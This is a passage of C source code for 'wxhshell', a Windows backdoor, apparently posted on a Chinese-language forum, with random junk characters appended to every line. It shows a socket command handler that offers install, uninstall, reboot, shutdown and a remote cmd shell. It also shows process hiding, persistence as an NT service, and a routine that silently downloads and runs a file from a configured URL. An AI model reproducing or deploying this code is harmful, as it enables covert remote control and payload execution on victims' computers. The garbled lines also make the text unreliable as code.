2R[v*i^S  
    switch(cmd[0]) { {]k#=a4  
  Q":_\inF  
  // 帮助 MJ|tfQwhx  
  case '?': { m+<&NDj.  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0);  U?*zb  
    break; 3iCe5VF  
  } D&G6^ME  
  // 安装 i]v3CY|3AI  
  case 'i': { ]pn U"  
    if(Install()) !l (Vk  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,/\`Rc^n  
    else (S~kyU!)0  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~#r>@C  
    break; 9/k2 zXY  
    } )A8#cY!<  
  // 卸载 * Gg7(cnpw  
  case 'r': { Lce,]z\ _  
    if(Uninstall()) }r: "X<`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); |+Y-i4t  
    else A{ +/$7vek  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); sL$sj|"S  
    break; WqeWjI.2  
    } /5NWV#-  
  // 显示 wxhshell 所在路径 7=P)`@  
  case 'p': { .]v>LsbhF  
    char svExeFile[MAX_PATH]; h`&TDB2  
    strcpy(svExeFile,"\n\r"); N]P~`)  
      strcat(svExeFile,ExeFile); ?"yjgt7+y  
        send(wsh,svExeFile,strlen(svExeFile),0); h/Mt<5  
    break; JtFq/&{i  
    } 9q`Ewj R  
  // 重启 e>MtDJ5  
  case 'b': { Hn/t'D3  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); j1_>>xB  
    if(Boot(REBOOT)) Xf4QLw/r  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +^AdD8U  
    else { K *@?BE  
    closesocket(wsh); 1)z'-dQ-5$  
    ExitThread(0); | .jWz.c  
    } T9yI%;D  
    break; {sw|bLo|+  
    } ygz2bHpD~  
  // 关机 [<@L`ki  
  case 'd': { mI&3y9; (  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); vPnS`&  
    if(Boot(SHUTDOWN)) 7!M; ?Y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [G_ ;78  
    else { fzJiW@-T  
    closesocket(wsh); H:G``Vq;0m  
    ExitThread(0); 1I2n dt  
    } LQF;T7VKS)  
    break; L1kn="5  
    } g2f"tu_/%  
  // 获取shell CEj_{uf|  
  case 's': { 7J9<B5U  
    CmdShell(wsh); E2zL-ft.  
    closesocket(wsh); s)\PY  
    ExitThread(0); \n}%RD-Ce  
    break; .U{}N%S  
  } k)+{Y v*  
  // 退出 8(? &=>@  
  case 'x': { g0 Q,]\~  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); `Am|9LOT  
    CloseIt(wsh); 1feVFRx'  
    break; 2m$C;j!D  
    } $?ss5: S  
  // 离开 -o/Vp>_UOE  
  case 'q': { nKE^km  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); O]I AIM  
    closesocket(wsh); (\qf>l+*  
    WSACleanup(); myo4`oH  
    exit(1); 1#Vd)vSP  
    break; ZKI8x1>Iq  
        } }X9 &!A8z  
  } i6bUJtL  
  } 1 Ne;U/  
!~zn*Hm  
  // 提示信息 ` 0 @m,  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Lum=5zDo  
} p4uzw  
  } 6EY\  
b0 }dy\dnQ  
  return; %]F/!n  
} CL7_3^2qI  
/Igz[P^\9  
// shell模块句柄 ?jmL4V2-f  
int CmdShell(SOCKET sock) 2a-]TVL3  
{ vAP1PQX;  
STARTUPINFO si; %S%UMA.  
ZeroMemory(&si,sizeof(si));  qbc=kP  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; {yNeZXA>  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; l>|scs;TI  
PROCESS_INFORMATION ProcessInfo; w!`e!}  
char cmdline[]="cmd"; |QZ E  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); y /vc\e  
  return 0; ShQ!'[J  
} A#`$#CO  
Swf%WuDj  
// 自身启动模式  `\##M=  
int StartFromService(void) 5ms]Wbh)  
{ 6lpJ+A57#  
typedef struct }S*]#jr&  
{ 3ylSO73R  
  DWORD ExitStatus; :/gHqEC24  
  DWORD PebBaseAddress; SP<(24zdd  
  DWORD AffinityMask; aY4v'[  
  DWORD BasePriority; ;0| :.q  
  ULONG UniqueProcessId; j0LZ )V  
  ULONG InheritedFromUniqueProcessId; ;eo}/-a_Xw  
}   PROCESS_BASIC_INFORMATION; jp "Q[gR##  
7`7M4  
PROCNTQSIP NtQueryInformationProcess; XlXt,  
 Mp js  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 3;jx Io$,  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 3{qB<*!p"G  
du0o4~-  
  HANDLE             hProcess; Y4N7# 5  
  PROCESS_BASIC_INFORMATION pbi; R:l&2  
UFZOu%Y  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); AcJrJS)~  
  if(NULL == hInst ) return 0; Sz|kXk6&9  
rosD)]I7  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); *" OlO}o  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); VL5VYv=:  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); eU)QoVt  
JPL`/WA 0  
  if (!NtQueryInformationProcess) return 0; ?c8( <_I+  
T++q.oFc  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); wQ/.3V[  
  if(!hProcess) return 0; o[RwK  
s;l"'6:_  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; FzSL[S4i  
LB({,0mcX  
  CloseHandle(hProcess); 0s Jp,4Vv  
p,f$9t4  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); : Wtpg   
if(hProcess==NULL) return 0; ukVBC"Ny  
T#6g5Jnsp  
HMODULE hMod; E`xpZ>$mPx  
char procName[255]; T12Zak4.=  
unsigned long cbNeeded; SXe1Q8;  
i`<L#6RBT  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); m8 _yorz  
KT 6 ppo  
  CloseHandle(hProcess); 7;Lv_Y"b  
cL%"AVsj >  
if(strstr(procName,"services")) return 1; // 以服务启动 +*`kJ)uP  
rtbV*@Z  
  return 0; // 注册表启动 l{]KA4  
} O3T7O`H[  
xCWS  
// 主模块 @(*A<2;N  
int StartWxhshell(LPSTR lpCmdLine) X!ldL|Ua%  
{ b>i5r$S8G  
  SOCKET wsl; Tb;,t=;u  
BOOL val=TRUE; oa=TlBk<  
  int port=0; Z5F#r>>`  
  struct sockaddr_in door; V )UtU L  
IG\Cj7{K^  
  if(wscfg.ws_autoins) Install(); o%`=+- K  
WI*CuJU<zJ  
port=atoi(lpCmdLine); 4M]l~9;A  
Sp?e!`|8  
if(port<=0) port=wscfg.ws_port; g]N'6La  
2A";o E  
  WSADATA data; KXl!VD,#`=  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ;!=i|"P G  
Ahba1\,N$  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   sV5") /~  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ?EHheZ{  
  door.sin_family = AF_INET; F#) bGi  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); |*b-m k  
  door.sin_port = htons(port); $`%Om WW{  
3O Ks?i3A  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { .}Xf<G&  
closesocket(wsl); Ndb7>"W  
return 1; 5a@9PX^.J  
} E^ c *x^  
3HuGb^SNg  
  if(listen(wsl,2) == INVALID_SOCKET) { Rrl  
closesocket(wsl); { J/Fp#  
return 1; <HN{.p{  
} x H=15JY1W  
  Wxhshell(wsl); Fsx<Sa  
  WSACleanup(); Wi!"V cn  
.oLV\'HAR  
return 0; uifVSf*  
Uey'c1  
} n{etDO  
T2.[iD!A  
// 以NT服务方式启动 ZMiOKVl  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) T*=*$%  
{ vp*+C kd  
DWORD   status = 0; %m[ZU<v  
  DWORD   specificError = 0xfffffff; U~"Y8g#qgy  
4*E5@{D  
  serviceStatus.dwServiceType     = SERVICE_WIN32; kQlwl9  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; g3{UP]Z71  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; H|wP8uQC  
  serviceStatus.dwWin32ExitCode     = 0; H=f| X<8  
  serviceStatus.dwServiceSpecificExitCode = 0; IPYwUix  
  serviceStatus.dwCheckPoint       = 0; YOrq)_ l  
  serviceStatus.dwWaitHint       = 0; '6>*J  
G-RDQ  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); NW 2`)e'  
  if (hServiceStatusHandle==0) return; U-m MKRV  
_!, J iOI  
status = GetLastError(); LGZa l&9AY  
  if (status!=NO_ERROR) r;[=y<Yf  
{ g|$;jQ\_  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ey4.Hj#T  
    serviceStatus.dwCheckPoint       = 0; [ >\|QS|  
    serviceStatus.dwWaitHint       = 0; /T(9:1/G  
    serviceStatus.dwWin32ExitCode     = status; + Hv'u  
    serviceStatus.dwServiceSpecificExitCode = specificError; udLIAV*  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); gM=:80  
    return; &{+0a[rN  
  } VHl1f7%@H  
iQ2j ejd3(  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; $YcB=l  
  serviceStatus.dwCheckPoint       = 0; n;N79`mZC  
  serviceStatus.dwWaitHint       = 0; 4sn\UuKyL  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Bi :!"Nw[X  
} i-5,* 0e6m  
HDZl;=  
// 处理NT服务事件,比如:启动、停止 h"0)spF"d  
VOID WINAPI NTServiceHandler(DWORD fdwControl) hEsi AbTyF  
{  fCJjFL:  
switch(fdwControl) \#I$H9O  
{ 7dACbqba  
case SERVICE_CONTROL_STOP:  fPPP|  
  serviceStatus.dwWin32ExitCode = 0; emnT;kJ>  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Km%L1Cd]  
  serviceStatus.dwCheckPoint   = 0; -,p=;t#(  
  serviceStatus.dwWaitHint     = 0; =D Q :0w  
  { ^ W?cuJ8  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); "z3rH~q72  
  } 9CeR^/i  
  return; xLOQu.  
case SERVICE_CONTROL_PAUSE: 23>[-XZb[O  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Tsa]SN14  
  break; +?m.uY(  
case SERVICE_CONTROL_CONTINUE:  sTlel&  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; PMB4]p%o  
  break;  G7a l@  
case SERVICE_CONTROL_INTERROGATE: VLkAsM5}%  
  break; 'D ?o^  
}; u ij^tN%  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); z"UC$  
} C=r2fc~w  
M %!;5  
// 标准应用程序主函数 0C/ZcfFU~  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) "W(Ae="60  
{ #m{*]mY@  
V<I(M<Dj  
// 获取操作系统版本 P%(9`A  
OsIsNt=GetOsVer(); 'Uf?-t*LT@  
GetModuleFileName(NULL,ExeFile,MAX_PATH); k<^M >` $  
#Q^" .#  
  // 从命令行安装 tULGfvp  
  if(strpbrk(lpCmdLine,"iI")) Install(); F1L[3D^-  
$P0q!  
  // 下载执行文件 Kh(`6 f  
if(wscfg.ws_downexe) { *<($.c  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) &o;0%QgF  
  WinExec(wscfg.ws_filenam,SW_HIDE); `9J9[!+!`  
} r%ES#\L6+|  
Zg(Y$ h\  
if(!OsIsNt) { FHSoj=  
// 如果时win9x,隐藏进程并且设置为注册表启动 3$k#bC  
HideProc(); 'YNdrvz  
StartWxhshell(lpCmdLine); +ZOiL[rS  
} d-UeItyW*  
else =xI'|%  
  if(StartFromService()) k*hl"oL"X  
  // 以服务方式启动 p1Zb&:+  
  StartServiceCtrlDispatcher(DispatchTable); ;X,u   
else &P|[YP37_  
  // 普通方式启动 0d9z8y  
  StartWxhshell(lpCmdLine); RQx8Du<  
}bjZeh.  
return 0; UUJQc ~=  
}
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只看该作者 1 发表于: 2006-10-10
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